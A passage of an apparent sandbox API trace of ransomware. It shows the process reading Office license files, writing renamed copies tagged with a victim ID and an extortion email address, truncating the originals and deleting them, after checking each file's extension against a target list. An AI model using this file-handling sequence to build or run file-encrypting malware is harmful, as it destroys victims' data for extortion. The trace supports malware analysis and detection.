	[0182.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1
	[0182.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.434] lstrlenW (lpString=".doc") returned 4
	[0182.434] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString=".docx") returned 5
	[0182.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.435] lstrlenW (lpString=".pdf") returned 4
	[0182.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString=".xls") returned 4
	[0182.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString=".xlsx") returned 5
	[0182.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.435] lstrlenW (lpString=".ppt") returned 4
	[0182.435] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.435] lstrlenW (lpString=".zip") returned 4
	[0182.435] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString=".rar") returned 4
	[0182.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString=".bz2") returned 4
	[0182.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString=".7z") returned 3
	[0182.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.435] lstrlenW (lpString=".dbf") returned 4
	[0182.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.435] lstrlenW (lpString=".1cd") returned 4
	[0182.435] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.435] lstrlenW (lpString=".jpg") returned 4
	[0182.435] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.435] lstrlenW (lpString=".doc") returned 4
	[0182.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.435] lstrlenW (lpString=".docx") returned 5
	[0182.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.435] lstrlenW (lpString=".pdf") returned 4
	[0182.439] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.439] lstrlenW (lpString=".xls") returned 4
	[0182.439] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.439] lstrlenW (lpString=".xlsx") returned 5
	[0182.439] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.440] lstrlenW (lpString=".ppt") returned 4
	[0182.440] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.440] lstrlenW (lpString=".zip") returned 4
	[0182.440] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.440] lstrlenW (lpString=".rar") returned 4
	[0182.440] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.440] lstrlenW (lpString=".bz2") returned 4
	[0182.440] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.441] lstrlenW (lpString=".7z") returned 3
	[0182.441] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.441] lstrlenW (lpString=".dbf") returned 4
	[0182.441] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.441] lstrlenW (lpString=".1cd") returned 4
	[0182.441] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0182.441] lstrlenW (lpString=".jpg") returned 4
	[0182.441] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.441] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.441] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31
	[0182.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0182.444] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=22215) returned 1
	[0182.444] CloseHandle (hObject=0x4bc) returned 1
	[0182.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220
	[0182.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0182.445] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.445] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0182.446] GetLastError () returned 0x0
	[0182.446] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x56c7, lpOverlapped=0x0) returned 1
	[0182.455] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0182.456] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.456] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x112, lpOverlapped=0x0) returned 1
	[0182.456] SetEndOfFile (hFile=0x460) returned 1
	[0182.456] CloseHandle (hObject=0x460) returned 1
	[0182.456] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.456] SetEndOfFile (hFile=0x4bc) returned 1
	[0182.460] CloseHandle (hObject=0x4bc) returned 1
	[0182.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1
	[0182.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.461] lstrlenW (lpString=".doc") returned 4
	[0182.461] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.461] lstrlenW (lpString=".docx") returned 5
	[0182.461] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.461] lstrlenW (lpString=".pdf") returned 4
	[0182.461] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.461] lstrlenW (lpString=".xls") returned 4
	[0182.461] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.461] lstrlenW (lpString=".xlsx") returned 5
	[0182.461] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.461] lstrlenW (lpString=".ppt") returned 4
	[0182.461] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.462] lstrlenW (lpString=".zip") returned 4
	[0182.462] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString=".rar") returned 4
	[0182.462] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString=".bz2") returned 4
	[0182.462] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString=".7z") returned 3
	[0182.462] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.462] lstrlenW (lpString=".dbf") returned 4
	[0182.462] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.462] lstrlenW (lpString=".1cd") returned 4
	[0182.462] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.462] lstrlenW (lpString=".jpg") returned 4
	[0182.462] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.462] lstrlenW (lpString=".doc") returned 4
	[0182.462] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString=".docx") returned 5
	[0182.462] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.462] lstrlenW (lpString=".pdf") returned 4
	[0182.462] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString=".xls") returned 4
	[0182.462] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString=".xlsx") returned 5
	[0182.462] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.462] lstrlenW (lpString=".ppt") returned 4
	[0182.462] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.462] lstrlenW (lpString=".zip") returned 4
	[0182.462] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.463] lstrlenW (lpString=".rar") returned 4
	[0182.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.463] lstrlenW (lpString=".bz2") returned 4
	[0182.463] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.463] lstrlenW (lpString=".7z") returned 3
	[0182.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.463] lstrlenW (lpString=".dbf") returned 4
	[0182.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.463] lstrlenW (lpString=".1cd") returned 4
	[0182.463] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0182.463] lstrlenW (lpString=".jpg") returned 4
	[0182.463] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.463] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.463] lstrlenW (lpString="HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 34
	[0182.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0182.464] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11625) returned 1
	[0182.464] CloseHandle (hObject=0x4bc) returned 1
	[0182.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220
	[0182.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0182.465] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.465] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0182.465] GetLastError () returned 0x0
	[0182.465] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d69, lpOverlapped=0x0) returned 1
	[0182.476] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0182.477] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.477] WriteFile (in: hFile=0x460, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x118, lpOverlapped=0x0) returned 1
	[0182.477] SetEndOfFile (hFile=0x460) returned 1
	[0182.477] CloseHandle (hObject=0x460) returned 1
	[0182.477] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.477] SetEndOfFile (hFile=0x4bc) returned 1
	[0182.480] CloseHandle (hObject=0x4bc) returned 1
	[0182.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1
	[0182.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.758] lstrlenW (lpString=".doc") returned 4
	[0182.758] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.758] lstrlenW (lpString=".docx") returned 5
	[0182.758] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.758] lstrlenW (lpString=".pdf") returned 4
	[0182.758] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.758] lstrlenW (lpString=".xls") returned 4
	[0182.758] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString=".xlsx") returned 5
	[0182.759] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.759] lstrlenW (lpString=".ppt") returned 4
	[0182.759] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.759] lstrlenW (lpString=".zip") returned 4
	[0182.759] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString=".rar") returned 4
	[0182.759] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString=".bz2") returned 4
	[0182.759] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString=".7z") returned 3
	[0182.759] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.759] lstrlenW (lpString=".dbf") returned 4
	[0182.759] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.759] lstrlenW (lpString=".1cd") returned 4
	[0182.759] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.759] lstrlenW (lpString=".jpg") returned 4
	[0182.759] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.759] lstrlenW (lpString=".doc") returned 4
	[0182.759] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString=".docx") returned 5
	[0182.759] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.759] lstrlenW (lpString=".pdf") returned 4
	[0182.759] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString=".xls") returned 4
	[0182.759] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.759] lstrlenW (lpString=".xlsx") returned 5
	[0182.759] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.759] lstrlenW (lpString=".ppt") returned 4
	[0182.760] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.760] lstrlenW (lpString=".zip") returned 4
	[0182.760] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".rar") returned 4
	[0182.760] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".bz2") returned 4
	[0182.760] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString=".7z") returned 3
	[0182.760] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.760] lstrlenW (lpString=".dbf") returned 4
	[0182.760] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.760] lstrlenW (lpString=".1cd") returned 4
	[0182.760] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0182.760] lstrlenW (lpString=".jpg") returned 4
	[0182.760] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.760] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.760] lstrlenW (lpString="HomeStudentR_Grace-ul-oob.xrm-ms") returned 32
	[0182.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.946] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11619) returned 1
	[0182.946] CloseHandle (hObject=0x554) returned 1
	[0182.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220
	[0182.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.947] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.947] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0182.948] GetLastError () returned 0x0
	[0182.948] ReadFile (in: hFile=0x554, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d63, lpOverlapped=0x0) returned 1
